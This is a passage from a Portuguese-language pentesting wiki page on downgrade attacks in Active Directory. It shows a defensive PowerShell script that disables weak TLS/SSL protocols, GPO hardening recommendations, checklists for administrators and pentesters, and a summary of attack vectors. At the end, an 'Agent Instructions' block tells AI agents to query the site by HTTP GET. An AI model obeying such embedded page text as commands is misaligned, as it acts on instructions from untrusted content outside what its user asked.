    New-Item -Path "$regPath\SSL 3.0\Server" -Force
    Set-ItemProperty -Path "$regPath\SSL 3.0\Server" -Name "Enabled" -Value 0
    
    # TLS 1.0
    New-Item -Path "$regPath\TLS 1.0\Server" -Force
    Set-ItemProperty -Path "$regPath\TLS 1.0\Server" -Name "Enabled" -Value 0
    
    # TLS 1.1
    New-Item -Path "$regPath\TLS 1.1\Server" -Force
    Set-ItemProperty -Path "$regPath\TLS 1.1\Server" -Name "Enabled" -Value 0
    
    Write-Host "   ✅ Protocolos TLS fracos desabilitados"
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
GPO Recomendações:

  Kerberos:
    ✅ Desabilitar RC4-HMAC
    ✅ Forçar AES128/AES256
    ✅ Habilitar validação de PAC

  NTLM:
    ✅ Desabilitar NTLMv1
    ✅ Forçar NTLMv2 apenas
    ✅ Habilitar auditoria de NTLM

  LDAP:
    ✅ Exigir LDAP signing
    ✅ Exigir channel binding
    ✅ Usar LDAPS (porta 636)

  SMB:
    ✅ Desabilitar SMBv1
    ✅ Exigir SMB signing
    ✅ Usar SMB 3.0+

  TLS:
    ✅ Desabilitar SSL 3.0
    ✅ Desabilitar TLS 1.0/1.1
    ✅ Forçar TLS 1.2+
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Desabilitar RC4-HMAC no Kerberos
* [ ] Desabilitar NTLMv1 via GPO
* [ ] Habilitar LDAP signing e channel binding
* [ ] Desabilitar SMBv1
* [ ] Forçar TLS 1.2+

#### **Monitoramento**

* [ ] Monitorar eventos de RC4
* [ ] Alertar sobre NTLMv1
* [ ] Verificar LDAP sem signing
* [ ] Auditoria de versões SMB

#### **Resposta a Incidentes**

* [ ] Investigar downgrade attempts
* [ ] Rotacionar hashes comprometidos
* [ ] Revisar políticas de segurança
* [ ] Atualizar configurações de GPO

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Identificar protocolos aceitos
* [ ] Mapear versões de protocolo
* [ ] Analisar políticas de segurança

#### **Testes**

* [ ] Testar downgrade de Kerberos
* [ ] Testar downgrade de NTLM
* [ ] Testar LDAP sem signing
* [ ] Testar SMBv1

#### **Documentação**

* [ ] Documentar protocolos vulneráveis
* [ ] Demonstrar impacto
* [ ] Recomendar correções

***

## 📊 **Conclusão**

```yaml
Downgrade Attacks no Active Directory:

  🔴 Principais Vetores:
    - Kerberos RC4-HMAC
    - NTLMv1
    - LDAP sem signing
    - SMBv1
    - TLS 1.0/1.1

  🛡️ Mitigações Essenciais:
    - Desabilitar RC4 no Kerberos
    - Desabilitar NTLMv1
    - Habilitar LDAP signing
    - Desabilitar SMBv1
    - Forçar TLS 1.2+

  🎯 Prioridade:
    - CRÍTICA: NTLMv1 e SMBv1
    - ALTA: RC4 e LDAP signing
    - MÉDIA: TLS versões antigas
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/downgrade-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
